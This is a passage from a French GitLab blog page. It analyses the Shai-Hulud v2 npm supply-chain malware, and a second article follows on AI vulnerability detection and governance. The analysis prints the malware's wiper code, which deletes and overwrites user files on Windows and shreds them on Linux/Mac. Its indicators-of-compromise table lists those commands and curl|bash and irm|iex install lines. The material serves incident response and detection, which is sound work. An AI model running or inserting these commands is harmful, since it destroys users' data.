12\");\n        if (platform === \"windows\") {\n          // Attempts to delete all user files and overwrite disk sectors\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Overwrite deleted data\n          ]);\n        } else {\n          // Attempts to shred all writable files in home directory\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Overwrite and delete\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Remove empty dirs\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nCe scénario est dangereux : si GitHub supprime en masse les dépôts du malware ou si npm révoque en masse les tokens compromis, des milliers de systèmes infectés pourraient simultanément détruire les données des utilisateurs. La nature distribuée de l'attaque signifie que chaque machine infectée surveille indépendamment l'accès et déclenche la suppression des données de l'utilisateur lorsqu'une neutralisation est détectée.\n\n\n## Indicateurs de compromission\n\n\nPour faciliter la détection et la réponse, vous retrouverez ci-dessous une liste plus complète des principaux indicateurs de compromission identifiés lors de notre analyse.\n\n\n| Type | Indicator | Description |\n| :---- | :---- | :---- |\n| **fichier** | `bun_environment.js` | Script post-installation malveillant dans les répertoires node_modules |\n| **répertoire** | `.truffler-cache/` | Répertoire caché créé dans le répertoire personnel de l'utilisateur pour le stockage du binaire Trufflehog |\n| **répertoire** | `.truffler-cache/extract/` | Répertoire temporaire utilisé pour l'extraction du binaire |\n| **fichier** | `.truffler-cache/trufflehog` | Binaire Trufflehog téléchargé (Linux/Mac) |\n| **fichier** | `.truffler-cache/trufflehog.exe` | Binaire Trufflehog téléchargé (Windows) |\n| **processus** | `del /F /Q /S \"%USERPROFILE%*\"` | Commande de charge utile destructrice Windows |\n| **processus** | `shred -uvz -n 1` | Commande de charge utile destructrice Linux/Mac |\n| **processus** | `cipher /W:%USERPROFILE%` | Commande de suppression sécurisée Windows dans la charge utile |\n| **commande** | `curl -fsSL https://bun.sh/install \\| bash` | Installation Bun suspecte pendant l'installation du paquet NPM |\n| **commande** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Installation de Bun sous Windows via PowerShell |\n## Comment GitLab peut-elle vous aider à détecter cette attaque ?\n\nSi vous utilisez GitLab Ultimate, vous pouvez exploiter les capacités de sécurité intégrées pour identifier immédiatement l'exposition liée à cette attaque au sein de vos projets.\n\nTout d'abord, activez l'[**analyse des dépendances**](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) pour analyser automatiquement les dépendances de votre projet par rapport aux bases de données de vulnérabilités connues. **Si des paquets infectés sont présents dans vos fichiers `package-lock.json` ou `yarn.lock`, l'analyse des dépendances les signalera dans les résultats de votre pipeline et dans le rapport de vulnérabilités.** Pour obtenir des instructions complètes de configuration, consultez notre [documentation](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer).\n\nUne fois activées, les merge requests qui introduisent un paquet compromis afficheront un avertissement avant que le code n'atteigne votre branche principale.\n\n**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** peut être également utilisé avec l'analyse des dépendances afin de vérifier rapidement l'exposition de votre projet sans naviguer dans les rapports.\n\nDans le menu déroulant, sélectionnez l'[agent Security Analyst](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) et posez des questions comme :\n* « Est-ce que l'une de mes dépendances est affectée par l'attaque de logiciels malveillants Shai-Hulud v2 ? »\n* « Ce projet a-t-il des vulnérabilités liées à la chaîne d'approvisionnement npm ? »\n* « Montre-moi les vulnérabilités critiques dans mes dépendances JavaScript. »\n\nL'agent interrogera les données de vulnérabilité de votre projet et fournira une réponse directe afin d'aider les équipes de sécurité à identifier rapidement les projets impactés.\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png\" alt=\"Résultats de l'agent analyste de sécurité GitLab\">\n\nPour les équipes qui gèrent de nombreux dépôts, nous recommandons de combiner l'analyse des dépendances pour une détection automatisée continue dans le [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/) et l'agent Security Analyst pour des investigations ponctuelles et une réponse rapide lors d'incidents comme celui-ci.\n## Et après ?\n\nCette attaque représente une évolution dans les attaques de la chaîne d'approvisionnement, car la menace de dommages collatéraux devient le principal mécanisme de défense de l'infrastructure des attaquants. Nous poursuivons notre enquête et collaborons avec la communauté afin de comprendre l'étendue complète de cette attaque et de développer des stratégies de correction sûres.\n\nLes systèmes de détection automatisés de GitLab continuent de surveiller les nouvelles infections et les variantes de cette attaque. En partageant nos conclusions rapidement, nous espérons aider la communauté à répondre efficacement tout en évitant les pièges créés par le mécanisme d'autodestruction du logiciel malveillant.",{"featured":652,"template":806,"slug":1210},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":1212,"config":1215},{"title":842,"description":843,"authors":1213,"body":847,"heroImage":848,"date":849,"category":665,"tags":1214},[845,846],[816,259,851,730,756],{"featured":13,"template":806,"slug":853},[1217,1222,1227],{"content":1218,"config":1221},{"title":1049,"description":1050,"authors":1219,"heroImage":1053,"body":1054,"date":1055,"category":730,"tags":1220},[1052],[1057,706,835,730],{"featured":13,"template":806,"slug":1059},{"content":1223,"config":1226},{"tags":1224,"category":768,"body":1164,"date":1165,"heroImage":1166,"authors":1225,"description":1168,"title":1169},[768,1020],[1038],{"featured":652,"template":806,"slug":1171},{"content":1228,"config":1231},{"title":856,"description":857,"authors":1229,"heroImage":860,"date":861,"body":862,"category":665,"tags":1230},[859],[756,816,798],{"featured":652,"template":806,"slug":865},[1233,1238,1243],{"content":1234,"config":1237},{"date":868,"title":869,"description":870,"authors":1235,"heroImage":874,"body":875,"category":665,"tags":1236},[872,873],[877,816,835],{"featured":13,"template":806,"slug":879},{"content":1239,"config":1242},{"title":1128,"description":1129,"authors":1240,"category":756,"tags":1241,"body":1133,"heroImage":1134,"date":1135},[1131],[798,756,706],{"featured":13,"template":806,"slug":1137},{"content":1244,"config":1253},{"title":1245,"description":1246,"heroImage":1247,"authors":1248,"date":1250,"body":1251,"category":665,"tags":1252},"Vulnérabilités détectées par l'IA : qui gouverne les risques ?","La détection des vulnérabilités assistée par l'IA évolue rapidement, mais les défis plus complexes liés à l'application, à la gouvernance et à la sécurité de la chaîne d'approvisionnement nécessitent une plateforme avec une approche globale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png",[1249],"Omer Azaria","2026-03-30","Anthropic a récemment annoncé la sortie de Claude Code Security, un système d'IA qui détecte les vulnérabilités et propose des correctifs. Le marché a immédiatement réagi : les actions des entreprises de sécurité ont chuté, les investisseurs s'interrogeant sur la possibilité que l'IA remplace les outils de sécurité applicative (AppSec) traditionnels. Si l'IA peut écrire du code et le sécuriser, la sécurité des applications est-elle vouée à disparaître ?\n\nSi la sécurité se limitait au scan de code, peut-être. Mais la sécurité des entreprises n'a jamais reposé uniquement sur la détection des failles.\n\nLes organisations ne se demandent pas si l'IA peut détecter des vulnérabilités. Elles se posent trois questions bien plus complexes :\n\n* Le produit que nous nous apprêtons à livrer est-il sûr ?\n* Notre posture de risque a-t-elle suivi le même rythme d'évolution continue que les environnements, les dépendances, les services tiers, les outils et les infrastructures ?\n* Comment pouvons-nous gouverner un code source de plus en plus généré par l'IA et des sources tierces, dont nous restons pourtant responsables ?\n\nCes questions nécessitent une réponse au niveau de la plateforme : la détection révèle les risques, mais c'est la gouvernance qui détermine la suite des opérations.\n\n[GitLab](https://about.gitlab.com/fr-fr/) est la couche d'orchestration conçue pour gouverner le cycle de vie logiciel de bout en bout. Elle offre aux équipes l'application, la visibilité et la traçabilité nécessaires pour suivre le rythme du développement assisté par l'IA.\n\n## La confiance dans l'IA repose sur une gouvernance solide\n\nL'identification de vulnérabilités et la suggestion de correctifs des systèmes d'IA s'améliorent rapidement. Cette avancée significative est bienvenue, mais l'analyse n'implique pas de responsabilité.\n\nL'IA ne peut pas appliquer les politiques de l'entreprise ni définir seule les risques acceptables. C'est aux équipes d'établir les limites, les politiques et les garde-fous dans lesquels les agents opèrent, en instaurant une séparation des tâches, en garantissant des pistes d'audit et en maintenant des contrôles cohérents dans des milliers de dépôts et d'équipes. La confiance placée dans les agents ne vient pas uniquement de leur caractère autonome, mais d'une gouvernance clairement définie.\n\nDans un [monde agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/), où les logiciels sont de plus en plus écrits et modifiés par des systèmes autonomes, la gouvernance gagne en importance. Plus les organisations accordent d'autonomie à l'IA, plus la gouvernance doit être solide.\n\nLa gouvernance n'est pas un frein, mais une base qui rend le développement assisté par l'IA digne de confiance à grande échelle.\n\n## Les LLM lisent le code, les plateformes comprennent le contexte\n\nUn grand modèle de langage ([LLM](https://about.gitlab.com/fr-fr/blog/large-language-model/)) évalue le code de manière isolée. Une plateforme de sécurité des applications comprend le contexte. Cette différence est fondamentale, car les décisions en matière de risque sont prises en contexte :\n\n* Qui est à l'origine de la modification ?\n* Quelle est l'importance de l'application pour l'entreprise ?\n* Comment l'application interagit-elle avec l'infrastructure et les dépendances ?\n* La vulnérabilité existe-t-elle dans du code réellement accessible en production, ou est-elle enfouie dans une dépendance qui ne s'exécute jamais ?\n* La vulnérabilité est-elle réellement exploitable en production, compte tenu de la façon dont l'application s'exécute, de ses API et de son environnement ?\n\nLes décisions en matière de sécurité dépendent de ce contexte. Sans lui, la détection génère des alertes parasites qui ralentissent le développement au lieu de réduire les risques. Avec lui, les organisations peuvent classer rapidement les vulnérabilités et gérer les risques en toute efficacité. Le contexte évolue en permanence au même titre que les logiciels, ce qui signifie que la gouvernance ne peut être ponctuelle.\n\n## Les scans statiques ne suivent pas le rythme des risques dynamiques\n\nLe risque logiciel est dynamique. Les dépendances changent, les environnements évoluent et les systèmes interagissent d'une façon qu'aucune analyse ne peut à elle seule entièrement prévoir. Un scan sans vulnérabilité à un moment donné ne garantit pas la sécurité au moment de la release.\n\nEn entreprise, la sécurité repose sur une assurance continue : des contrôles intégrés directement dans les workflows de développement qui évaluent les risques au fur et à mesure que les logiciels sont créés, testés et déployés.\n\nLa détection apporte des informations, la gouvernance instaure la confiance. C'est la gouvernance continue qui permet aux organisations de livrer en toute sécurité à grande échelle.\n\n## Gouverner l'avenir agentique\n\nL'IA transforme la façon dont les logiciels sont créés. La question n'est plus de savoir si les équipes utiliseront l'IA, mais avec quelles mesures de sécurité elles pourront la déployer à grande échelle.\n\nAujourd'hui, les logiciels sont autant assemblés qu'écrits à partir de code généré par l'IA, de bibliothèques [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") et de dépendances tierces qui couvrent des milliers de projets. Gérer ce qui est déployé en tenant compte de toutes ces sources représente la partie la plus difficile et la plus importante de la [sécurité des applications](https://about.gitlab.com/fr-fr/solutions/application-security-testing/ \"Sécurité des applications\"), et c'est la partie pour laquelle aucun outil destiné aux développeurs n'a été conçu.\n\nEn tant que plateforme d'orchestration intelligente, GitLab est conçue pour répondre à ce problème. [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/ \"GitLab Ultimate\") intègre la gouvernance, l'application des politiques, les scans de sécurité et l'auditabilité directement dans les workflows où les logiciels sont planifiés, développés et livrés, afin que les équipes de sécurité puissent gouverner au rythme de l'IA.\n\nL'IA accélére considérablement le développement. Les organisations qui tireront le meilleur parti de cette technologie ne seront pas seulement celles qui disposent des assistants les plus intelligents, mais celles qui instaureront la confiance grâce à une gouvernance solide.\n\n> Pour découvrir comment GitLab aide les organisations à [gouverner et livrer du code généré par IA](https://about.gitlab.com/fr-fr/solutions/software-compliance/) en toute sécurité, [contactez notre équipe](https://about.gitlab.com/fr-fr/sales/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr).\n\n## Ressources complémentaires\n\n - [Intégration de l'IA dans l'approche DevOps pour une sécurité renforcée](https://about.gitlab.com/fr-fr/topics/devops/ai-enhanced-security/)\n - [Sécurité et IA : tout savoir sur le framework de GitLab](https://about.gitlab.com/fr-fr/blog/the-gitlab-ai-security-framework-for-security-leaders/)\n - [Démarrer avec GitLab Duo Agent Platform : le guide complet](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)",[816,768],{"featured":13,"template":806,"slug":1254},"ai-can-detect-vulnerabilities-but-who-governs-risk",1776430043728]